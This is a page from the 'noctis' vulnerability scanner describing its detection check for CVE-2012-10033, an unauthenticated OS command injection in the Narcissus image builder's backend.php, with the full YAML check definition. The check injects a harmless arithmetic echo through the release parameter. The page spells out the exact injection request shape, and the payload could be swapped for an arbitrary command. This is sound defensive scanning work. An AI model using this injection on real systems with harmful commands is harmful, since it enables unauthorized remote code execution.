Narcissus — 1 vulnerability check

noctis ships 1 vulnerability check for Narcissus, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Narcissus backend.php release Parameter Command Injection

CVECVE-2012-10033
Severitycritical · CVSS 9.3
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/narcissus/CVE-2012-10033.yaml

Detects the unauthenticated OS command injection in the Narcissus online image builder: backend.php passes the `release` POST parameter of the configure_image action unsanitised to passthru(). For each candidate directory (web root, /narcissus, /narcissus-master) that serves the Narcissus index page or backend.php's "Invalid action" error, the test POSTs `machine=0&action=configure_image&release=|echo NOCTIS<expr a + b>` with per-run random operands and requires the shell-computed sum in the response.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{nc_dir}}/index.html
  3. HTTP(S) request GET {{nc_dir}}/backend.php
  4. HTTP(S) request POST {{nc_dir}}/backend.php with a crafted body
  5. Checks inj_resp.body for NOCTIS[0-9]{7} → finding QoD 97: Narcissus command injection confirmed via POST …/backend.php (action=configure_image, release=|echo NOCTIS`expr … + …`): a shell evaluated …

References:

Feed source — tests/vulnerabilities/narcissus/CVE-2012-10033.yaml
# Narcissus (Angstrom online image builder) — unauthenticated OS command
# injection through the `release` POST parameter of backend.php
# (CVE-2012-10033).
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_narcissus_rce_11_12.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103607, GPL-2.0-only).
#
# backend.php (Angstrom-distribution/narcissus, never fixed upstream) runs
#   passthru("scripts/configure-image.sh $machine $name-image $release && exit");
# for action=configure_image; `machine` and `name` go through escapeshellcmd()
# but `release` is taken from $_POST unsanitised, so `release=|<cmd>` pipes
# into an attacker command and passthru() prints its output in the response.
# The NASL (and the Metasploit module narcissus_backend_exec) POST
# `machine=0&action=configure_image&release=|<cmd>` to <dir>/backend.php.
#
# Detection — in-band benign proof (QoD 97): the injected command is
# `echo NOCTIS`expr <a> + <b>`` with a, b random integers in 500000..999999.
# Only a real shell evaluates the backticks; the 7-digit sum never appears in
# the request, so a page that reflects or filters `release` cannot show it.
# Nothing is written on the target.
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` output (uid=/gid=).
#   - The NASL only probes directories whose index.html has the
#     "Narcissus - Online image" title. The feed also probes a directory whose
#     backend.php answers a bare GET with backend.php's own "Invalid action"
#     error, so an install with a renamed or customised index page is still
#     tested. Either signal only gates the POST; the proof is the sum.
#   - Directories: web root, /narcissus, /narcissus-master (the NASL's two
#     names plus the cgi dirs; the root covers a vhost install).
#   - CVSS: NVD only carries the CNA's CVSS 4.0 score (9.3); the issue's 10.0
#     is not an NVD figure.
uid: b357d226-cf07-4722-8bcc-69b7e858fed5
name: "Narcissus backend.php release Parameter Command Injection (CVE-2012-10033)"
description: |
  Detects the unauthenticated OS command injection in the Narcissus online
  image builder: backend.php passes the `release` POST parameter of the
  configure_image action unsanitised to passthru(). For each candidate
  directory (web root, /narcissus, /narcissus-master) that serves the
  Narcissus index page or backend.php's "Invalid action" error, the test POSTs
  `machine=0&action=configure_image&release=|echo NOCTIS<expr a + b>` with
  per-run random operands and requires the shell-computed sum in the response.
cves: [CVE-2012-10033]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags: [narcissus, angstrom, php, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-10033"
  - "https://www.exploit-db.com/exploits/22709"
  - "https://www.vulncheck.com/advisories/narcissus-image-config-command-injection"
  - "https://github.com/Angstrom-distribution/narcissus/blob/master/backend.php"

steps:
  # Per-run operands; marker = NOCTIS<a+b> (always 7 digits).
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  # Every step from here on runs once per candidate directory (loop group).
  # Pre-initialise the stored results so a failed request leaves no undefined
  # variable behind.
  - id: init-idx
    action: set_var
    var_name: idx_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - ""
        - "/narcissus"
        - "/narcissus-master"
      var: nc_dir

  - id: init-be
    action: set_var
    var_name: be_resp
    var_value: {status: 0, body: null}

  - id: init-inj
    action: set_var
    var_name: inj_resp
    var_value: {status: 0, body: null}

  # NASL gate: the Narcissus index page.
  - id: index
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{nc_dir}}/index.html"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: idx_resp

  # Extra gate: backend.php without an action prints "Invalid action: ".
  - id: backend-get
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{nc_dir}}/backend.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "!(idx_resp.status == 200 && type_of(idx_resp.body) == \"string\" && stridx(idx_resp.body, \"<title>Narcissus\") >= 0)"
    store_as: be_resp

  # NASL request shape, command swapped for the marker:
  #   %7C = |   %20 = space   %60 = `   %2B = +
  - id: inject
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{nc_dir}}/backend.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "(idx_resp.status == 200 && type_of(idx_resp.body) == \"string\" && stridx(idx_resp.body, \"<title>Narcissus\") >= 0) || (type_of(be_resp.body) == \"string\" && stridx(be_resp.body, \"Invalid action\") >= 0)"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "machine=0&action=configure_image&release=%7Cecho%20NOCTIS%60expr%20{{proof.a}}%20%2B%20{{proof.b}}%60"
    store_as: inj_resp

  - id: confirm
    action: match
    source: inj_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "inj_resp.status == 200 && type_of(inj_resp.body) == \"string\" && stridx(inj_resp.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Narcissus command injection confirmed via POST {{nc_dir}}/backend.php (action=configure_image, release=|echo NOCTIS`expr {{proof.a}} + {{proof.b}}`): a shell evaluated the per-run arithmetic and passthru() returned {{proof.marker}}"
      stop: true

View these feeds on GitHub